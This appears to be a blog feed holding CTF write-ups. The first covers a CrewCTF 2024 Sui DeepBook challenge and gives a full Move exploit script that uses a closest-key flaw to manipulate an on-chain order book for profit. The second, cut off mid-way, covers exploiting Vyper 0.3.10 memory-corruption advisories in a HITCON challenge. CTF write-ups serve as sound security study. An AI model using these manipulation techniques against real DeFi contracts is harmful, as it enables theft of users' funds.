&lt;figure id=&quot;og_1722797115292&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;fix: level2 book status validation (#16919) &amp;middot; MystenLabs/sui@f2651e9&quot; data-og-description=&quot;## Description Validation for get_level2_book_status_bid(ask)_side for price_low, price_high inputs. ## Test Plan How did you test the new or updated feature? Testnet deepbook pool t...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/MystenLabs/sui/commit/f2651e9bb0e40cdf24b2d0656a76f3f60f7847d2&quot; data-og-url=&quot;https://github.com/MystenLabs/sui/commit/f2651e9bb0e40cdf24b2d0656a76f3f60f7847d2&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bzcr57/hyWKEynuIh/V7UUlXt39t9SC1rvDiwS80/img.png?width=1200&amp;amp;height=600&amp;amp;face=982_131_1057_213&quot;&gt;&lt;a href=&quot;https://github.com/MystenLabs/sui/commit/f2651e9bb0e40cdf24b2d0656a76f3f60f7847d2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/MystenLabs/sui/commit/f2651e9bb0e40cdf24b2d0656a76f3f60f7847d2&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bzcr57/hyWKEynuIh/V7UUlXt39t9SC1rvDiwS80/img.png?width=1200&amp;amp;height=600&amp;amp;face=982_131_1057_213');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;fix: level2 book status validation (#16919) &amp;middot; MystenLabs/sui@f2651e9&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;## Description Validation for get_level2_book_status_bid(ask)_side for price_low, price_high inputs. ## Test Plan How did you test the new or updated feature? Testnet deepbook pool t...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Root Cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Deepbook uses an on-chain orderbook and employs a critbit tree to sort numerous orders.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When you send a query to the tree, it finds the key closest to the one you're searching for using &lt;i&gt;critbit::find_closest_key&lt;/i&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If the tree contains the keys 10, 13, and 15, the key closest to 13 is, naturally, 13.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;However, if the tree only contains 10 and 15, what would be the key closest to 13?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;This question can extend to &lt;i&gt;clob_v2::get_level2_book_status_{bid, ask}_side&lt;/i&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When we want to query orders between 10 and 15, but the tree lacks entries at 10 and 15, the query will find the closest keys. Let's call these &lt;i&gt;low_closest_key&lt;/i&gt; and &lt;i&gt;high_closest_key.&lt;/i&gt; For accurate results, the condition 10 &amp;lt;= &lt;i&gt;low_closest_key&lt;/i&gt; &amp;lt;= &lt;i&gt;high_closest_key&lt;/i&gt; &amp;lt;= 15 must be satisfied.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However, since the code doesn't guarantee this condition, the sparser tree, the greater the discrepancy between actual values and the query results could be.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bid_book: [1.94, 1.99]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ask_book: [2.01, 2.06]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. set the ask_price to 2.06 and the bid_price to 2.05&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. run &lt;i&gt;otter_strategy::execute&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. the key closest to 2.00 is 1.99, and the closest one to 2.05 is 2.05, orders of $1.99 would be removed.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. set the bid_price to 2.05 again and repeat step 2, the closest key to 2.00 becomes 1.98.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Repeating this process will eventually empty the bid_book.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. set the bid_price to 2.05 and place a bid around 1.88. this makes the closest key to 2.00 become 1.88, causing the &lt;i&gt;otter_strategy&lt;/i&gt; to place an ask at 1.88, allowing you to buy at a lower price.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. sell it back at a higher price using the &lt;i&gt;otter_strategy&lt;/i&gt; and repeat steps 5 and 6 for profit.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;fun fact) setting the bid_price to 1.94 and the ask_price to 1.95 will be failed due to the structure of the critbit tree.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1722834312974&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;a = r'''
        let lot_size: u64 = 10_000_000;
        let decimals: u64  = 1_000_000_000;
        let bid: bool = true;
        let u64_max: u64 = 18446744073709551615;
        let no_restriction: u8 = 0;
        let buy_threshold: u64 = 1_950_000_000;
        let limit: u64 = 2_000_000_000;
        let sell_threshold: u64 = 2_050_000_000;
        let crit: u64 = 1_880_000_000;

        let base_coin = ctf::get_airdrop_base(storage, 300 * decimals, ctx);
        let quote_coin = ctf::get_airdrop_quote(storage, 600 * decimals, ctx);

        let pool = ctf::get_mut_pool(storage);
        let account_cap: custodian_v2::AccountCap = clob_v2::create_account(ctx);
        


        let amount_hcoin = coin::value(&amp;amp;base_coin);
        let amount_cusd = coin::value(&amp;amp;quote_coin);
        let (remaining_hcoin, remaining_cusd) = clob_v2::place_market_order(
            pool,
            &amp;amp;account_cap,
            0,
            250 * decimals,
            !bid,
            coin::split(&amp;amp;mut base_coin, amount_hcoin, ctx),
            coin::split(&amp;amp;mut quote_coin, amount_cusd, ctx),
            clock,
            ctx,
        );

        coin::join(&amp;amp;mut base_coin, remaining_hcoin);
        coin::join(&amp;amp;mut quote_coin, remaining_cusd);


        let amount_hcoin = coin::value(&amp;amp;base_coin);
        let amount_cusd = coin::value(&amp;amp;quote_coin);
        let (remaining_hcoin, remaining_cusd) = clob_v2::place_market_order(
            pool,
            &amp;amp;account_cap,
            0,
            501 * decimals,
            bid,
            coin::split(&amp;amp;mut base_coin, amount_hcoin, ctx),
            coin::split(&amp;amp;mut quote_coin, amount_cusd, ctx),
            clock,
            ctx,
        );

        coin::join(&amp;amp;mut base_coin, remaining_hcoin);
        coin::join(&amp;amp;mut quote_coin, remaining_cusd);


        let amount_hcoin = coin::value(&amp;amp;base_coin);
        let amount_cusd = coin::value(&amp;amp;quote_coin);

        clob_v2::deposit_base(pool, base_coin, &amp;amp;account_cap);
        clob_v2::deposit_quote(pool, quote_coin, &amp;amp;account_cap);



        let i = 0;

        //// clear bids
        while(i &amp;lt;= 6) {
            clob_v2::place_limit_order&amp;lt;HCOIN, CUSD&amp;gt;(
                pool,
                0,
                sell_threshold,
                lot_size,
                0,
                bid,
                u64_max,
                no_restriction,
                clock,
                &amp;amp;account_cap,
                ctx,
            );
           
            otter_strategy::execute(
                pool,
                vault,
                !bid,
                clock,
                ctx,
            );

            i = i + 1;
        };


        let i = 0;
        while(i &amp;lt;= 20) {
            clob_v2::place_limit_order&amp;lt;HCOIN, CUSD&amp;gt;(
                pool,
                0,
                sell_threshold,
                lot_size,
                0,
                bid,
                u64_max,
                no_restriction,
                clock,
                &amp;amp;account_cap,
                ctx,
            );
            let (base_avail, base_locked, quote_avail, quote_locked) =  clob_v2::account_balance&amp;lt;HCOIN, CUSD&amp;gt;(pool, &amp;amp;account_cap);
            let amt = (((quote_avail as u128) * (decimals as u128) / (crit as u128)) as u64);
            clob_v2::place_limit_order&amp;lt;HCOIN, CUSD&amp;gt;(
                pool,
                0,
                crit,
                amt - (amt % lot_size),
                0,
                bid,
                u64_max,
                no_restriction,
                clock,
                &amp;amp;account_cap,
                ctx,
            );
            otter_strategy::execute(
                pool,
                vault,
                !bid,
                clock,
                ctx,
            );
            let (base_avail, base_locked, quote_avail, quote_locked) =  clob_v2::account_balance&amp;lt;HCOIN, CUSD&amp;gt;(pool, &amp;amp;account_cap);




            clob_v2::place_limit_order&amp;lt;HCOIN, CUSD&amp;gt;(
                pool,
                0,
                buy_threshold,
                lot_size,
                0,
                !bid,
                u64_max,
                no_restriction,
                clock,
                &amp;amp;account_cap,
                ctx,
            );
            let (base_avail, base_locked, quote_avail, quote_locked) =  clob_v2::account_balance&amp;lt;HCOIN, CUSD&amp;gt;(pool, &amp;amp;account_cap);
            clob_v2::place_limit_order&amp;lt;HCOIN, CUSD&amp;gt;(
                pool,
                0,
                limit,
                base_avail - base_avail % lot_size,
                0,
                !bid,
                u64_max,
                no_restriction,
                clock,
                &amp;amp;account_cap,
                ctx,
            );
            otter_strategy::execute(
                pool,
                vault,
                bid,
                clock,
                ctx,
            );

            i = i + 1;
        };




        let (base_avail, base_locked, quote_avail, quote_locked) =  clob_v2::account_balance&amp;lt;HCOIN, CUSD&amp;gt;(pool, &amp;amp;account_cap);

        let qcoin = clob_v2::withdraw_quote(
            pool,
            2500 * decimals,
            &amp;amp;account_cap,
            ctx,
        );

        ctf::solve(storage, &amp;amp;qcoin);

        transfer::public_transfer(account_cap, tx_context::sender(ctx));
        transfer::public_transfer(qcoin, tx_context::sender(ctx));
'''

import base64
bdata = base64.b64encode(a.encode('ascii', 'strict')).decode()

from pwn import *

r = remote(&quot;lightbook.chal.crewc.tf&quot;, 1337)

r.sendlineafter('your solve script using base64 encode:', bdata)

r.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/190</guid>
      <comments>https://gss1.tistory.com/entry/CrewCTF-2024-blockchain-lightbook#entry190comment</comments>
      <pubDate>Mon, 5 Aug 2024 14:40:46 +0900</pubDate>
    </item>
    <item>
      <title>HITCON CTF 2024 Quals(Lustrous, No-Exit Room, Flag Reader)</title>
      <link>https://gss1.tistory.com/entry/HITCON-CTF-2024-Quals-Lustrous-No-Exit-Room-Flag-Reader</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;I played HITCON CTF 2024 Quals with &lt;b&gt;ColdFusion&lt;/b&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Lustorous&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;The challenge was written in &lt;a style=&quot;color: #000000;&quot; href=&quot;https://docs.vyperlang.org/en/stable/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Vyper langauge&lt;/a&gt;, it was my first time to take a look. I remember Vyper got an audit after the curve incident and there were no suspicious points in the code logic. So, I had a gut feeling that I needed to look for vulnerabilities in Vyper.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;I found two resources we should read.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://github.com/vyperlang/vyper/security&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/vyperlang/vyper/security&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://codehawks.cyfrin.io/c/2023-09-vyper-compiler/results?lt=contest&amp;amp;page=1&amp;amp;sc=reward&amp;amp;sj=reward&amp;amp;t=report&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://codehawks.cyfrin.io/c/2023-09-vyper-compiler/results?lt=contest&amp;amp;page=1&amp;amp;sc=reward&amp;amp;sj=reward&amp;amp;t=report&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;The public contest has identified so many bugs in &lt;b&gt;0.3.10&lt;/b&gt;, the same version as the chall.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;--&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Let's break down the task:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;We need to create a gem and use it to battle a monster in a rock-paper-scissors game.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1. If we defeat the monster, we can attack it, reducing its health.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2. If we lose, the mosster attack us, reducing our health. The damage depends on ours hardness.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3. If there's a tie, nothing happens.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;To win a stage:&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1. Reduce the monster's health to zero&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2. Ensure our health is greater than the monster's one&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Otherwise, we lose the stage and rever to stage 0.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Note:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1. Our gem's attack power is very weak while the monster's attack doubles with each stage.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2. We can strengthen our gem by merging.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3. Only the admin(server) can initate a battle as our request.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;4. We cannot predict the monster's actions since it is generated by randomly.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;--&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Here are the two key points we need to address:&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;How to win at rock-paper-scissors.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;How to enhance the gem.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;We can probably get through the first stage with a bit of luck, but for the second and third stages, we can't rely on luck alone. So, even if we can't kill the monsters, having a lot of health would allow us to at least force a draw in every rock-paper-scissors match.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;The vulnerability below causes an overflow in the return data. Since we get our actions from master.get_actions() via an external call, this vulnerability is particularly relevant to our situation.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://github.com/vyperlang/vyper/security/advisories/GHSA-gp3w-2v2m-p686&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/vyperlang/vyper/security/advisories/GHSA-gp3w-2v2m-p686&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1720979318774&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;External calls can overflow return data to return input buffer&quot; data-og-description=&quot;## Summary When calls to external contracts are made, we write the input buffer starting at byte 28, and allocate the return buffer to start at byte 0 (overlapping with the input buffer). When c...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/vyperlang/vyper/security/advisories/GHSA-gp3w-2v2m-p686&quot; data-og-url=&quot;https://github.com/vyperlang/vyper/security/advisories/GHSA-gp3w-2v2m-p686&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/eNdAn/hyWzxUk0ZD/rCN7Ug7rsXVQKzkkekKsgK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/vyperlang/vyper/security/advisories/GHSA-gp3w-2v2m-p686&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/vyperlang/vyper/security/advisories/GHSA-gp3w-2v2m-p686&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/eNdAn/hyWzxUk0ZD/rCN7Ug7rsXVQKzkkekKsgK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;External calls can overflow return data to return input buffer&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;## Summary When calls to external contracts are made, we write the input buffer starting at byte 28, and allocate the return buffer to start at byte 0 (overlapping with the input buffer). When c...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;The attack method is almost identical to the example provided there. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;The caller expects to receive a dynamic array, so it interprets the first word of the return data as the array's location and copies the length from there. However, we can send any memory location that only requires a length check.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Since lunarian_actions: DynArray[uint8, MAX_ROUNDS] is stored in memory, we can copy those values directly into our gem_actions.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Looking at the memory map, lunarian_actions is located at a very low address while gem_actions is very high addres. To calculate the position, we use the opcode add offset, some number. By exploiting an overflow, we can achieve this movement.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;--&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Next, we need to finda way to win the battle against the 2nd and 3rd stage monsters.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;A high vulnerability caught my eye:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://github.com/vyperlang/vyper/security/advisories/GHSA-2q8v-3gqq-4f8p&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/vyperlang/vyper/security/advisories/GHSA-2q8v-3gqq-4f8p&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1720979725845&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;concat built-in can corrupt memory&quot; data-og-description=&quot;### Summary &amp;#96;concat&amp;#96; built-in can write over the bounds of the memory buffer that was allocated for it and thus overwrite existing valid data. The root cause is that the &amp;#96;build_IR&amp;#96; for &amp;#96;concat&amp;#96; d...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/vyperlang/vyper/security/advisories/GHSA-2q8v-3gqq-4f8p&quot; data-og-url=&quot;https://github.com/vyperlang/vyper/security/advisories/GHSA-2q8v-3gqq-4f8p&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/taix8/hyWzqAXF0e/KZQV7iWIXzE7EgX3EeHC50/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/vyperlang/vyper/security/advisories/GHSA-2q8v-3gqq-4f8p&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/vyperlang/vyper/security/advisories/GHSA-2q8v-3gqq-4f8p&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/taix8/hyWzqAXF0e/KZQV7iWIXzE7EgX3EeHC50/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;concat built-in can corrupt memory&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;### Summary `concat` built-in can write over the bounds of the memory buffer that was allocated for it and thus overwrite existing valid data. The root cause is that the `build_IR` for `concat` d...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;This is used in get_gem_id and seems very similar to PoC 1.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Referring to PoC 1, I examined the memory location with IR and found that in merge_gems, gem1 is loaded into memory. The subsequent get_gem_id seems to cause a memory overwrite.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;According to the description, a one-byte overwrite occurs, so gem1 needs to be negative for it to result in a significantly large number.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;256 + 32 + 1 = health's Most Significant Byte&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1720958922535&quot; class=&quot;text&quot; data-ke-language=&quot;text&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;            # Line 186
            /* gem_id: bytes32 = keccak256(concat(master_addr_bytes, sequence_bytes)) */ 
            [mstore,
              192,
              /* keccak256(concat(master_addr_bytes, sequence_bytes)) */ 
              [with,
                buf,
                /* concat(master_addr_bytes, sequence_bytes) */ 
                [with,
                  concat_ofst,
                  0,
                  [seq,
                    [mstore, [add, 256, concat_ofst], [mload, 128 &amp;lt;master_addr_bytes&amp;gt;]],
                    [set, concat_ofst, [add, concat_ofst, 20]],
                    [mstore, [add, 256, concat_ofst], [mload, 160 &amp;lt;sequence_bytes&amp;gt;]],
                    [set, concat_ofst, [add, concat_ofst, 4]],
                    [mstore, 224 &amp;lt;concat destination&amp;gt;, concat_ofst],
                    224 &amp;lt;concat destination&amp;gt;]],
                /* keccak256 */ [sha3, [add, buf, 32], [mload, buf]]]],&lt;/code&gt;&lt;/pre&gt;
